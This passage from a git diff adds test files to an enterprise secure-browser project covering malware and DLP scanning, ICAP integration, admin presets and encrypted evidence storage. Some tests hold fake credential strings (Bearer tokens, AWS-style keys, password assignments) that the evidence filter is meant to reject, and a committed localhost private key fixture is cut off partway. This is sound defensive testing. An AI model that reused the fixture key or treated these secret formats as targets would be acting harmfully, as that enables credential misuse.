Response(Buffer.from('MZbinary'),{headers:{'content-type':'image/png'}})});f.context.policy.fileTransfers={download:setting};const v=await f.gate({...f.input,name:'photo.png'});assert.equal(v.released,false);assert.equal(f.calls.includes('scan'),false);assert.equal(f.calls.includes('write'),false); + } +}); +test('no-scanner downloads require explicit central approval and carry actual safe forensic facts',async()=>{ + const f=setup();f.context.policy.security.yara.enabled=false;assert.equal((await f.gate(f.input)).reason,'malware-scanner-required');f.context.policy.fileTransfers={download:{allowWithoutMalwareScanner:true}};const v=await f.gate(f.input);assert.equal(v.released,true);assert.equal(v.facts.detectedType,'text');assert.equal(v.facts.size,15); +}); diff --git a/tests/enterprise-admin.test.mjs b/tests/enterprise-admin.test.mjs new file mode 100644 index 0000000..9f92194 --- /dev/null +++ b/tests/enterprise-admin.test.mjs @@ -0,0 +1,29 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy, PolicySchema } from '../packages/core/policy.mjs'; +import { EnterpriseSchema, enterpriseReadiness } from '../packages/core/enterprise.mjs'; +import { previewPreset, policyPresets } from '../packages/core/presets.mjs'; +test('enterprise defaults preserve Windows network and optional integration behavior',()=>{const p=defaultPolicy();assert.equal(p.enterprise.dns.mode,'system');assert.equal(p.enterprise.icap.enabled,false);assert.equal(p.enterprise.vpn.required,false);assert.equal(p.proxy.mode,'system');}); +test('enterprise integration rejects invalid service trust, credentials and ambiguous settings',()=>{for(const input of [{icap:{enabled:true}},{icap:{enabled:true,url:'icaps://user:secret@example.test/scan'}},{icap:{enabled:true,url:'icap://example.test/scan'}},{dns:{mode:'secure'}},{dns:{templates:['https://dns.test/query']}},{vpn:{required:true}},{icap:{enabled:true,url:'icaps://av.test/scan',failClosed:false}},{unknown:true}])assert.equal(EnterpriseSchema.safeParse(input).success,false);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://127.0.0.1/scan'}}).success,true);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://av.test/scan',allowInsecureTransport:true}}).success,true);}); +test('presets are additive and preserve enterprise infrastructure and content protection',()=>{const p=defaultPolicy();p.proxy={mode:'fixed_servers',rules:'proxy.test:8080',bypass:'internal.test'};p.enterprise=EnterpriseSchema.parse({dns:{mode:'secure',templates:['https://dns.test/dns-query']},vpn:{required:true,interfaceNames:['CorpVPN']},icap:{enabled:true,url:'icaps://av.test/scan'}});p.dlp.rules.push({id:'reference',label:'Secret',kind:'literal',value:'confidential',action:'block'});p.security.clipboard.allowPaste=false;for(const preset of policyPresets){const result=previewPreset(p,preset.id);assert.deepEqual(result.policy.proxy,p.proxy);assert.deepEqual(result.policy.enterprise,p.enterprise);assert.deepEqual(result.policy.dlp,p.dlp);assert.equal(result.policy.security.clipboard.allowPaste,false);assert.equal(result.policy.ai.enabled,false);assert.equal(result.policy.version,p.version);}assert.equal(p.browser.settings.visible,true);assert.equal(previewPreset(p,'restricted').policy.browser.settings.visible,false);}); +test('download readiness accepts external scanning without enabling local YARA',()=>{const p=defaultPolicy();p.browser.allowDownloads=true;p.enterprise.icap.enabled=true;p.enterprise.icap.url='icaps://av.test/scan';assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'configured');p.enterprise.icap.scanDownloads=false;assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'blocked');}); +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +test('admin preset preview is authorized and cannot mutate published policy or audit history',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-admin-')),store=openStore(directory),adminToken='test-only-enterprise-administrator-123456789'; + const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();assert.equal(resolve(directory).startsWith(resolve(tmpdir())),true);rmSync(directory,{recursive:true,force:true});}); + const url=`http://127.0.0.1:${server.address().port}`,policy=store.get('policy'),count=store.db.prepare('SELECT count(*) AS n FROM events').get().n; + let response=await fetch(`${url}/api/admin/presets`);assert.equal(response.status,401); + response=await fetch(`${url}/api/admin/presets/preview`,{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({id:'restricted',policy})});assert.equal(response.status,200);const preview=await response.json();assert.equal(preview.policy.browser.settings.visible,false);assert.equal(store.get('policy').browser.settings.visible,true);assert.equal(store.get('policy').version,policy.version);assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,count); + response=await fetch(`${url}/api/admin/integrations`,{headers:{authorization:`Bearer ${adminToken}`}});assert.equal(response.status,200);assert.equal((await response.json()).readiness.length,6); +}); +import managedSettings from '../apps/browser/managed-settings.cjs'; +test('managed AI preset preserves usable approved AI while narrowing existing agent permissions',()=>{ + const p=defaultPolicy();p.ai={...p.ai,enabled:true,model:'approved-model',endpointId:'corporate-gateway'};p.agents={...p.agents,enabled:true,allowSensitiveRead:true,scopes:['sessions','navigate','read','click','type','screenshot','ai']};p.browser.settings.lockedSections=['appearance']; + const result=previewPreset(p,'managed-ai').policy;assert.deepEqual(result.ai,p.ai);assert.deepEqual(result.browser.settings.lockedSections,['appearance']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:result,ready:true}),'ai'),true);assert.deepEqual(result.agents.scopes,['sessions','navigate','ai']);assert.equal(result.agents.allowSensitiveRead,false); + p.agents.scopes=['sessions'];p.browser.settings.lockedSections=['ai'];const narrow=previewPreset(p,'managed-ai').policy;assert.deepEqual(narrow.agents.scopes,['sessions']);assert.deepEqual(narrow.browser.settings.lockedSections,['ai']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:narrow,ready:true}),'ai'),false); +}); diff --git a/tests/enterprise-gateway.test.mjs b/tests/enterprise-gateway.test.mjs new file mode 100644 index 0000000..945fb50 --- /dev/null +++ b/tests/enterprise-gateway.test.mjs @@ -0,0 +1,28 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import net from 'node:net'; +import {createServer} from 'node:http'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; + +test('central ICAP capability probe sends no content; gateway cannot bypass external scanning',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-gateway-')),store=openStore(directory),adminToken='public-fixture-administrator-0123456789'; + const marker='PUBLIC_AV_TEST_MARKER';let scans=0,upstreamRequests=0,infectAnswer=false;const sockets=new Set(); + const icap=net.createServer(socket=>{sockets.add(socket);socket.once('close',()=>sockets.delete(socket));socket.on('error',()=>{});let input=Buffer.alloc(0),done=false;socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);if(done||input.indexOf('\r\n\r\n')<0)return;const options=input.subarray(0,7).toString()==='OPTIONS';if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;done=true;if(options)return socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD\r\nAllow: 204\r\nISTag: "fixture"\r\nEncapsulated: null-body=0\r\n\r\n');scans++;socket.end(input.includes(Buffer.from(marker))?'ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden':'ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n');});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + const upstream=createServer((req,res)=>{upstreamRequests++;req.resume();res.setHeader('content-type','application/json');res.end(JSON.stringify({choices:[{message:{content:infectAnswer?marker:'Public safe answer'}}]}));}).listen(0,'127.0.0.1');await new Promise(r=>upstream.once('listening',r)); + const policy=store.get('policy');policy.ai={...policy.ai,enabled:true,trustMode:'local',model:'public-fixture-model'};policy.enterprise.icap={...policy.enterprise.icap,enabled:true,url:`icap://127.0.0.1:${icap.address().port}/av`,timeoutMs:1000};store.put('policy',policy); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true,aiBaseUrl:`http://127.0.0.1:${upstream.address().port}`,aiModel:policy.ai.model,aiEndpointId:'default'}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{for(const socket of sockets)socket.destroy();for(const service of [server,upstream])service.closeAllConnections();await Promise.all([server,upstream,icap].map(service=>new Promise(r=>service.close(r))));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-enterprise-gateway-')));rmSync(directory,{recursive:true,force:true});}); + async function api(route,body,token=adminToken){const response=await fetch(base+route,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)});return {status:response.status,body:await response.json()};} + const code='public-fixture-one-use-enrollment-code';store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'public-user');const device=(await api('/api/device/enroll',{name:'public-device',platform:'win32',code},'')).body; + assert.equal((await api('/api/admin/integrations/icap/probe',policy.enterprise.icap,device.token)).status,401); + const probe=await api('/api/admin/integrations/icap/probe',policy.enterprise.icap);assert.equal(probe.status,200);assert.equal(probe.body.ready,true);assert.equal(probe.body.contentSent,false);assert.equal(scans,0); + const blocked=await api('/api/device/ai',{prompt:marker},device.token);assert.equal(blocked.status,403);assert.equal(upstreamRequests,0); + const allowed=await api('/api/device/ai',{prompt:'Public benign prompt'},device.token);assert.equal(allowed.status,200);assert.equal(allowed.body.answer,'Public safe answer');assert.equal(upstreamRequests,1); + infectAnswer=true;const response=await api('/api/device/ai',{prompt:'Public second prompt'},device.token);assert.equal(response.status,403);assert.equal(Object.hasOwn(response.body,'answer'),false); + const events=store.db.prepare('SELECT metadata FROM events').all();assert.equal(JSON.stringify(events).includes(marker),false);assert.equal(JSON.stringify(events).includes('Public benign prompt'),false);assert.ok(scans>=5); +}); diff --git a/tests/enterprise-inspection.test.mjs b/tests/enterprise-inspection.test.mjs new file mode 100644 index 0000000..b5622fc --- /dev/null +++ b/tests/enterprise-inspection.test.mjs @@ -0,0 +1,40 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createHash} from 'node:crypto'; +import inspection from '../apps/browser/enterprise-inspection.cjs'; +const bytes=Buffer.from('public test document'),digest=createHash('sha256').update(bytes).digest('hex'); +const policy={enterprise:{icap:{enabled:true,scanUploads:true,scanDownloads:true,scanClipboard:true,scanAI:true}},security:{yara:{enabled:false}}}; +const allow=()=>({decision:'allow',ruleId:'icap-clean',engine:'icap',sha256:digest,bytes:bytes.length,coverage:{complete:true}}); +test('selected channels require exact complete scanner approval and preserve immutable source bytes',async()=>{ + for(const channel of ['upload','download','clipboard','ai']){ + const source=Buffer.from(bytes);let snapshot; + const result=await inspection.scanEnterprise(source,policy,channel,async value=>{snapshot=value;assert.notEqual(value,source);assert.deepEqual(value,source);return allow();}); + assert.equal(result.decision,'allow');assert.deepEqual(source,bytes);assert.ok(snapshot.every(value=>value===0)); + for(const broken of [{...allow(),sha256:'wrong'},{...allow(),bytes:0},{...allow(),coverage:{complete:false}},{decision:'block',ruleId:'RAW COMPANY CONTENT'}])assert.equal((await inspection.scanEnterprise(source,policy,channel,async()=>broken)).decision,'block'); + } + const result=await inspection.scanEnterprise(bytes,policy,'upload',async value=>{value.fill(120);return allow();});assert.equal(result.decision,'block'); +}); +test('disabled channel never calls external services and configured outages cannot fail open',async()=>{ + const disabled={...policy,enterprise:{icap:{...policy.enterprise.icap,scanClipboard:false}}}; + assert.equal((await inspection.scanEnterprise(bytes,disabled,'clipboard',()=>assert.fail())).decision,'allow'); + assert.equal((await inspection.scanEnterprise(bytes,policy,'clipboard',async()=>{throw Error('private scanner detail');})).ruleId,'icap-unavailable'); + assert.throws(()=>inspection.icapRequired(policy,'unsupported')); +}); +test('external antivirus can scan downloads alone; every enabled scanner stays mandatory',async()=>{ + const dlp={inspect:async()=>({decision:'allow',coverage:{complete:true}})}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,policy,dlp,async()=>allow())).decision,'allow'); + const both={...policy,security:{yara:{enabled:true}}}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,null,()=>assert.fail())).decision,'block'); + const scanner={...dlp,scanDownload:async()=>({...allow(),engine:'yara'})};assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>allow())).decision,'allow'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>({decision:'block',ruleId:'icap-threat'}))).ruleId,'icap-threat'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,{...dlp,scanDownload:async()=>({...allow(),sha256:'wrong'})},()=>assert.fail())).ruleId,'yara-inspection-incomplete'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,{...policy,enterprise:{icap:{enabled:false}}},null)).ruleId,'malware-scanner-required'); +}); +test('explicit no antivirus mode still requires complete DLP and never substitutes for an enabled failed scanner',async()=>{ + const p={...policy,enterprise:{icap:{enabled:false}},fileTransfers:{download:{allowWithoutMalwareScanner:true}}}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,null)).ruleId,'download-dlp-unavailable'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow'})})).ruleId,'download-dlp-incomplete'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'block',ruleId:'company-secret'})})).ruleId,'company-secret'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).decision,'allow'); + const mandatory={...p,security:{yara:{enabled:true}}};assert.equal((await inspection.scanDownloadEnterprise(bytes,mandatory,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).ruleId,'yara-unavailable'); +}); diff --git a/tests/evidence.test.mjs b/tests/evidence.test.mjs new file mode 100644 index 0000000..f243e45 --- /dev/null +++ b/tests/evidence.test.mjs @@ -0,0 +1,21 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,writeFileSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {randomBytes,randomUUID} from 'node:crypto';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs'; +async function fixture(t,{configured=true}={}){const dir=mkdtempSync(join(tmpdir(),'safetynet-evidence-')),keyFile=join(dir,'evidence.key');writeFileSync(keyFile,randomBytes(32));const store=openStore(dir),deviceToken='synthetic-device-evidence-credential-1234567890',id=randomUUID();store.db.prepare('INSERT INTO devices(id,token_hash,revoked) VALUES(?,?,0)').run(id,digest(deviceToken));const config={publicUrl:'http://127.0.0.1:4310',...(configured?{evidenceKeyFile:keyFile}:{})},server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});const api=async(path,method='GET',body,role='device')=>{const credential=`synthetic-${role}-evidence-credential-1234567890`;if(role!=='device')store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{...(role==='device'?{authorization:`Bearer ${deviceToken}`}:{cookie:`sn_session=${credential}`}),origin:config.publicUrl,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};};const eventId=randomUUID();store.event(id,'clipboard.copy',{eventId,policyVersion:1});return {store,api,id,eventId,config};} +const evidence=eventId=>({eventId,type:'interaction',payload:{pageUrl:'https://intranet.example/document',action:'copy',content:'Synthetic confidential engineering detail',sensitiveField:false}}); +test('recognizable credentials in free text, target labels, filenames and encoded paths never persist',async t=>{ + const {api,store,eventId}=await fixture(t); + const values=['-----BEGIN PRIVATE KEY-----\nsynthetic','Bearer syntheticAuthorizationCredential123','Basic c3ludGhldGljOnBhc3N3b3Jk','password="synthetic-secret"','passwd=synthetic-secret','api_key: synthetic-secret','access-token=synthetic-secret','refresh_token=synthetic-secret','client_secret=synthetic-secret','sk-syntheticCredential1234567890','ghp_syntheticCredential1234567890','AKIAABCDEFGHIJKLMNOP','eyJsyntheticHeader.syntheticPayload.syntheticSignature']; + for(const content of values){assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content}})).status,400,content.split(/[=: ]/)[0]);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content:undefined,target:{tag:'button',label:content}}})).status,400);} + assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,pageUrl:'https://example.test/password%3Dsynthetic-secret'}})).status,400); + const downloadEvent=randomUUID();store.event(store.db.prepare('SELECT id FROM devices LIMIT 1').get().id,'download.scan',{eventId:downloadEvent}); + assert.equal((await api('/api/device/evidence','POST',{eventId:downloadEvent,type:'download',payload:{sourceUrl:'https://example.test/download',name:'api_key=synthetic-secret.txt',sha256:'a'.repeat(64),bytes:10,mime:'text/plain',decision:'block'}})).status,400); + assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0); + assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,201); +}); +test('encrypted evidence only decrypts for explicit admin permission and audited purpose',async t=>{const {api,store,eventId}=await fixture(t),body=evidence(eventId),created=await api('/api/device/evidence','POST',body);assert.equal(created.status,201);const row=store.db.prepare('SELECT * FROM protected_evidence').get();assert.equal(Buffer.from(row.ciphertext).includes(Buffer.from(body.payload.content)),false);for(const role of ['operator','auditor'])assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,role)).status,403);assert.equal((await api(`/api/admin/evidence/${created.body.id}`,'GET',undefined,'admin')).status,400);const got=await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin');assert.equal(got.status,200);assert.equal(got.body.payload.content,body.payload.content);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='evidence.accessed'").get();assert.equal(JSON.parse(audit.metadata).reason,'incident-response');assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(r=>r.metadata.includes(body.payload.content)),false);assert.equal((await api('/api/device/evidence','POST',body)).status,409);}); +test('unknown credentials, password fields, token fields, unowned events and credential URLs reject',async t=>{const {api,eventId}=await fixture(t);for(const extra of [{password:'synthetic'},{authorization:'Bearer synthetic'},{sensitiveField:true},{pageUrl:'https://user:pass@example.test/'},{pageUrl:'https://example.test/?token=secret'}])assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,...extra}})).status,400);assert.equal((await api('/api/device/evidence','POST',evidence(randomUUID()))).status,404);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),type:'download'})).status,400);}); +test('missing key fails closed and ciphertext tampering fails authentication',async t=>{const disabled=await fixture(t,{configured:false});assert.equal((await disabled.api('/api/device/evidence','POST',evidence(disabled.eventId))).status,503);const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2099-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,500);}); +test('audit failure rolls back evidence and prevents plaintext response',async t=>{const {api,store,eventId}=await fixture(t),emit=store.event;store.event=()=>{throw Error('synthetic audit failure');};assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0);store.event=emit;const created=await api('/api/device/evidence','POST',evidence(eventId));store.event=()=>{throw Error('synthetic audit failure');};const got=await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin');assert.equal(got.status,500);assert.equal(got.body.payload,undefined);store.event=emit;}); +test('retention preserves encrypted evidence source events',async t=>{const {api,store,eventId}=await fixture(t);await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');pruneAuditEvents(store,{days:1,exportedThrough:1000,dryRun:false});assert.ok(store.db.prepare("SELECT id FROM events WHERE kind='clipboard.copy'").get());}); +test('download facts roundtrip while a different enrolled device cannot attach evidence',async t=>{const {api,store,id}=await fixture(t),eventId=randomUUID();store.event(id,'download.released',{eventId});const payload={sourceUrl:'https://downloads.example/package.exe',name:'package.exe',sha256:'a'.repeat(64),bytes:1024,mime:'application/octet-stream',decision:'allow'};const result=await api('/api/device/evidence','POST',{eventId,type:'download',payload});assert.equal(result.status,201);const detail=await api(`/api/admin/evidence/${result.body.id}?reason=compliance`,'GET',undefined,'admin');assert.deepEqual(detail.body.payload,payload);const other=randomUUID();store.db.prepare('INSERT INTO devices(id,revoked) VALUES(?,0)').run(other);const otherEvent=randomUUID();store.event(other,'clipboard.copy',{eventId:otherEvent});assert.equal((await api('/api/device/evidence','POST',evidence(otherEvent))).status,404);}); +test('expired access is denied; incident legal hold does not bypass ciphertext integrity',async t=>{const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2000-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,500);}); +test('genuine expiry preserves readability only while the linked incident is active',async t=>{const now=Date.now();t.mock.timers.enable({apis:['Date'],now});const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));t.mock.timers.setTime(now+31*86400000);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,200);assert.equal((await api(`/api/admin/incidents/${incident.body.id}`,'PATCH',{expectedRevision:1,status:'resolved'},'admin')).status,200);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);}); diff --git a/tests/file-transfer.test.mjs b/tests/file-transfer.test.mjs new file mode 100644 index 0000000..858a151 --- /dev/null +++ b/tests/file-transfer.test.mjs @@ -0,0 +1,18 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {FileTransfersSchema,detectType,inspectFileTransfer} from '../packages/core/file-transfer.mjs'; +test('actual signatures identify executable families and supported document/media containers',()=>{ + for(const [hex,type] of [['4d5a','pe'],['7f454c46','elf'],['cffaedfe','macho'],['255044462d','pdf'],['504b0304','zip'],['89504e470d0a1a0a','png'],['ffd8ff','jpeg'],['1f8b','gzip']])assert.equal(detectType(Buffer.from(hex,'hex')),type); + assert.equal(detectType(Buffer.from('GIF89a')),'gif');assert.equal(detectType(Buffer.from('RIFFxxxxWEBP')),'webp');assert.equal(detectType(Buffer.from('public UTF-8 ü')),'text');assert.equal(detectType(Buffer.from([0,255])),'unknown'); + assert.equal(detectType(Buffer.concat([Buffer.from('text prefix'),Buffer.from([0])])),'unknown'); +}); +test('renamed executables and MIME disguises cannot bypass magic policy',()=>{ + const bytes=Buffer.from('MZmalware');const p={fileTransfers:{download:{blockedTypes:['pe']}}}; + const v=inspectFileTransfer(bytes,p,'download',{filename:'../photo.png',mime:'image/png'});assert.equal(v.decision,'block');assert.equal(v.detectedType,'pe');assert.equal(v.extensionMismatch,true);assert.equal(v.mimeMismatch,true);assert.equal(v.filename,'photo.png');assert.equal(v.size,9);assert.match(v.sha256,/^[a-f0-9]{64}$/); + for(const field of ['blockExtensionMismatch','blockMimeMismatch'])assert.equal(inspectFileTransfer(bytes,{fileTransfers:{download:{[field]:true}}},'download',{filename:'photo.png',mime:'image/png'}).decision,'block'); +}); +test('direction-specific limits, allowlists and unknown coverage are centrally enforceable',()=>{ + for(const settings of [{maxBytes:1},{allowTypes:['pdf']},{blockUnknown:true}])assert.equal(inspectFileTransfer(Buffer.from([0,255]),{fileTransfers:{upload:settings}},'upload').decision,'block'); + assert.equal(inspectFileTransfer(Buffer.from('public'),{fileTransfers:{download:{allowTypes:['text']}}},'download').decision,'allow'); + const parsed=FileTransfersSchema.parse({});assert.equal(parsed.download.allowWithoutMalwareScanner,false);assert.throws(()=>FileTransfersSchema.parse({upload:{allowTypes:['exe']}})); +}); diff --git a/tests/fixtures/icap/cert.pem b/tests/fixtures/icap/cert.pem new file mode 100644 index 0000000..2b45530 --- /dev/null +++ b/tests/fixtures/icap/cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDJTCCAg2gAwIBAgIUb9FhkNIJogUJwbSsuu7zo7lLjfUwDQYJKoZIhvcNAQEL +BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MTAxMjIxNDI0OVoXDTM2MTAw +OTIxNDI0OVowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF +AAOCAQ8AMIIBCgKCAQEAn69Vq8q1tl1EOFCKi6Bq5mKsLfrLYZyaZbO46SEklODv +G0EqTakc4sRH7Ht181nsmE8BeaVVB2uRlEBKlczVwUfi9Kxkh6geNDBwUpV6HSN0 +z2SZhsbimv0vsogiJ8nDld0X06tjw+ipZsiDRvjH2dFJTKJms5HB7J4KxnrbmJ4n +V+b0Xleqlc3mEZ6K2iaTm3MEZuhTqe+HmV0jykpYKwaVLNl1SkQpuCEB0AIOKfVF +qenkldQYX0+xMKWSQjCOdENLx9Eqrcs29R0g+wDHQIpGOb9sW4rCouIRp+O17ccs +R98oAm0x2RQ8OcZq9DHwcLmg6Op19HIT8Ja4r2+jmwIDAQABo28wbTAdBgNVHQ4E +FgQU037P88Sc5WEXjwSgS2U896fLZmcwHwYDVR0jBBgwFoAU037P88Sc5WEXjwSg +S2U896fLZmcwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2NhbGhvc3SH +BH8AAAEwDQYJKoZIhvcNAQELBQADggEBACixKy7R7haPWJ97fpSq0o5YTw948GGa +Z7aOZoAz59fA6x30dd02xO0BZegcgAd9uJBgX7q435BJ+magcj9Q/xZFy9OjcsCv +kAdc+CkqtH2dZjA7S4wxxyvDmgVD6I7XBgq5f2D0PE8MYCG8BIdH/4y+VOee+M4l +SmIgIK3eUo9Os/7bVPu0qGdWHJWq6krLj533ieYS41iaLH+UBcLad2qSVRuIyzWO +Ld0ujtXLeAS1tXVtHu0LfmbYbZEI41NVybPgkIfEhI0ynssxNgbDfh2IqV6YO+yX +/9Aa7DsDFS/Uac/Jhl7bQEp1aU+EirR8c59+YezKHCofyvdtFTo9gF4= +-----END CERTIFICATE----- diff --git a/tests/fixtures/icap/key.pem b/tests/fixtures/icap/key.pem new file mode 100644 index 0000000..81299ec --- /dev/null +++ b/tests/fixtures/icap/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCfr1WryrW2XUQ4 +UIqLoGrmYqwt+sthnJpls7jpISSU4O8bQSpNqRzixEfse3XzWeyYTwF5pVUHa5GU +QEqVzNXBR+L0rGSHqB40MHBSlXodI3TPZJmGxuKa/S+yiCInycOV3RfTq2PD6Klm +yING+MfZ0UlMomazkcHsngrGetuYnidX5vReV6qVzeYRnoraJpObcwRm6FOp74eZ +XSPKSlgrBpUs2XVKRCm4IQHQAg4p9UWp6eSV1BhfT7EwpZJCMI50Q0vH0Sqtyzb1 +HSD7AMdAikY5v2xbisKi4hGn47XtxyxH3ygCbTHZFDw5xmr0MfBwuaDo6nX0chPw +lrivb6ObAgMBAAECggEABO1zK6mbW9+a6FChRde9v2g8v0Ulm4MqnIgkOkVvNzeN +s/3vIUBeXNJeac9m1LXqAB/dVXSi9WdTXGDI1xXgDrvPfBS0cXSK92Sl7VZ20zQH +Ob3KowcQx7mXtt75NthvXvjYmwvcjey9tXyV2Hh61PTery0KavDM1tFgVxREIdHL +Dv+TKbf8F5NHP9c3QYCbP11VIOGLfo8V/ZVTrojtEvhEywrE3WRY2gbobFiABM96 +wbND2g+UnT87mHKscIWkpOc9dEczyPlmRiLgKPaaJkw1b2yHgKgJoljuHt0cTleT +bPF+D9fAiT885iK3Lg+xT2peehb0cnhZKWl4ytKaQQKBgQDU32rDlFgTrefrkEv6 +arNGMNlRSu46d5r6giPJTQ9AU/Thn1Lvjq1UsoF02rcGAUoCeRgPTM0cAv09WWC8 +hfW7g7VUVa/cFkFxUIFMm1CIo+B7XSUSZH/95AoMieJmgfsMMVwwQN3nwCqGNqIh +v8PU8rJxPXYVCTJ/DDY2tYk3uwKBgQDACVivCwDAsWCJUmJq3/YDc46KMeAkk4R1 +NS9R0H1uhdd1nNsNPomCe4FzUDvsBHHDOzJu4LUgHz4MwWt1QGryr5aSR6P6eVhU +aCp0e9zqUWzwKrYVShlKCNNRumT/JnFka8yOWf5MzEW4ifaBkGPkKQt2KZtMnH7L +ezAVaX/VoQKBgH/7mwrfY1zhj7A23xc9k28960pOzI/mXQ0DtVRPuj2ovG/yBED2 